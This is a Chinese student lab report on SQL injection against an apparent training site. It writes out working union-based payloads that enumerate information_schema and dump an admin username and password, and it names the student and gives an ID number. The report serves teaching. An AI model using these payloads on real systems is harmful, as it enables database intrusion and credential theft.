**《信息安全概论》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| 姓名 | | 李燕琴 | | 年级 | | 2019级 |
| 学号 | | 20195633 | | 专业、班级 | | 计算机科学与技术（卓越）02班 |
| 实验名称 | 实验四 SQL注入实验 | | | | | |
| 实验时间 | 2022年5月17日 | | 实验地点 | | DS3402 | |
| 实验成绩 |  | | 实验性质 | | □验证性 □设计性 □综合性 | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的  1. 学习并掌握SQL注入的基本原理和方法  2. 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容  1. 检索SQL注入相关资料，自学SQL注入基本方法  2. 完成对特定网站的SQL注入以获取数据库信息 | | | | | | |
| 三、实验设计（实验原理、真值表、原理图等）  **1、实验原理**  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。  **2、产生注入漏洞条件**   * 参数用户可控:前端传给后端的参数内容是可以被用户控制的 * 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询   **3、与SQL注入相关知识点**  ①在MYSQL5.0版本后,系统会默认在数据库中存放一个informa\_schema的数据库,该库中需要记住三个表名:schemata,tables,columns;   * schemata表用来存放用户创建的所有数据库的库名,需要记住数据库库名的字段名为schema\_name * tables存放数据所有数据库名和表名,记住这两个字段名table\_schema和table\_name * columns存放所有的数据库名,表名和列名,需要记住这三个字段名   ②一些常用函数:   * database():当前网站使用的数据库 * version():当前MYSQL的版本 * user(): 当前MYSQL用户   ③需要知道MYSQL注释符为:#或--空格或/\*\*/ | | | | | | |
| 四、实验过程或算法(关键步骤、核心代码注解等）  对以下网站进行SQL注入：<http://rhiq8003.ia.aqlab.cn/>，完成以下信息的获取：数据库名称、数据库中的所有表的名称、每个表中的字段数量以及字段名、管理员用户密码，最后总结如何对SQL注入攻击进行防范。  工具选择上，为了方便显示url的更改，这里选择postman工具。其中，文章1号，其id直接显示在url上，可以判断<http://rhiq8003.ia.aqlab.cn/?id=1>为GET请求。  **1、判断网站是否存在注入漏洞**  利用单引号判断法，即url最后添加一个引号，<http://rhiq8003.ia.aqlab.cn/?id=1>'，如果页面显示，则无漏洞；否则存在注入漏洞。  **2、存在何种漏洞**  常见的漏洞分为两类，一是字符类，二是数字类。测试是否存在注入漏洞的类型也有很多，如And测试、Or测试、Xor测试、Like测试、符号测试。这里采用经典的And测试。可以根据下列结果判断漏洞类型。由第六部分结果可知存在数字类漏洞。   |  |  |  | | --- | --- | --- | | 注入漏洞 | 数字类 | 字符类 | | And 1=1 | 正常 | 异常 | | And 1=2 | 异常 | 异常 | | ’And ‘1’=’1 | 异常 | 正常 | | ’And ‘1’=’2 | 异常 | 异常 |   **3、分析选择列个数和显示值位置**  url后面添加order by 1, order by 2, order by 3，一次递增，最后一个能够正常显示的数字，对应SQL语句中选择的列数。由第六部分结果可知选择的列数为2。  利用Union思想，在原始结果后面添加一行其他结果。设计以下url，判断显示值所在位置：  (1) 第一行为真，第二行为真  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=1 union select 1,database()  (2) 第一行为假，第二行为真，指定第一列  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()  (3) 第一行为假，第二行为真，指定第二列  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select database(),1  由第六部分结果可知，显示的位置为第1行第2列。  **4、获取数据库名称**  利用database()函数，即  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()  **5、获取数据库中的所有表的名称**  利用group\_contact(<col>)函数，直接获取所有表的名称的总和。  (1)获取所有数据库中的所有表  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union SELECT table\_schema, GROUP\_CONCAT( table\_name ) from information\_schema.tables  (2)获取当前所在数据库中的所有表  其中maoshe为第四步获取的内容  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union SELECT table\_schema, GROUP\_CONCAT( table\_name ) from information\_schema.tables where table\_schema='maoshe'  **6、获取每个表中的字段数量以及字段名**  利用information\_schema.columns表，这里仅以maoshe中的admin表为列，其他表同理，不做赘述。  http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select table\_name,group\_concat(column\_name) from information\_schema.columns where table\_schema='maoshe' and table\_name='admin'  **7、获取管理员用户密码**  根据第六步获取的列可以发现，admin表中由Id,username,password三个数据。故直接获取Id=1对应的password即可。  用户名：http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,username from maoshe.admin where id=1  用户密码：http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,password from maoshe.admin where id=1 | | | | | | |
| 五、实验过程中遇到的问题及解决情况(主要问题及解决情况)  1、在获取数据库中所有表时，当使用常规的select方法，由于只显示第一行第2列位置的数据，导致只能一个一个获取数据，具体结果如下。如何才能快速的一次性取出所有数据呢？    经过查阅资料，发现group\_concat(<col>)可以聚合选中列所有的数据，并以”,”分隔。（当然可以自定义分隔符号，如group\_concat(col,\)）。得到结果如下。其中raw内容即为上一张图preview中显示的内容，完美且高效的解决！ | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  **1、判断网站是否存在注入漏洞**  页面无显示，存在漏洞    2、存在何种漏洞  结果如下，可知存在数值漏洞  (1)<http://rhiq8003.ia.aqlab.cn/?id=1> and 1=1，页面正常显示    (2) http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2, 页面无显示    (3) http://rhiq8003.ia.aqlab.cn/?id=1’ and '1'='1,页面无显示    (4)<http://rhiq8003.ia.aqlab.cn/?id=1>’ and '1'='2,页面无显示    **3、分析选择列个数和显示值位置**  由下可知，order by 2显示正常，order by 3无显示，则选择列数为2.      **4、获取数据库名称**  得到当前数据库名称为maoshe。    **5、获取数据库中的所有表的名称**  (1)获取所有数据库中的所有表  可以看到有很多表，因为包含了所有schema。    (2)获取当前所在数据库中的所有表  可以看到maoshe中有四张表。    **6、获取每个表中的字段数量以及字段名**  可以看到在maoshe中的admin表，有3个字段，分别为Id,username,password。其他表的字段数量和字段名获取同理，不做赘述。    **7、获取管理员用户密码**  用户名：admin    用户密码：hellohack | | | | | | |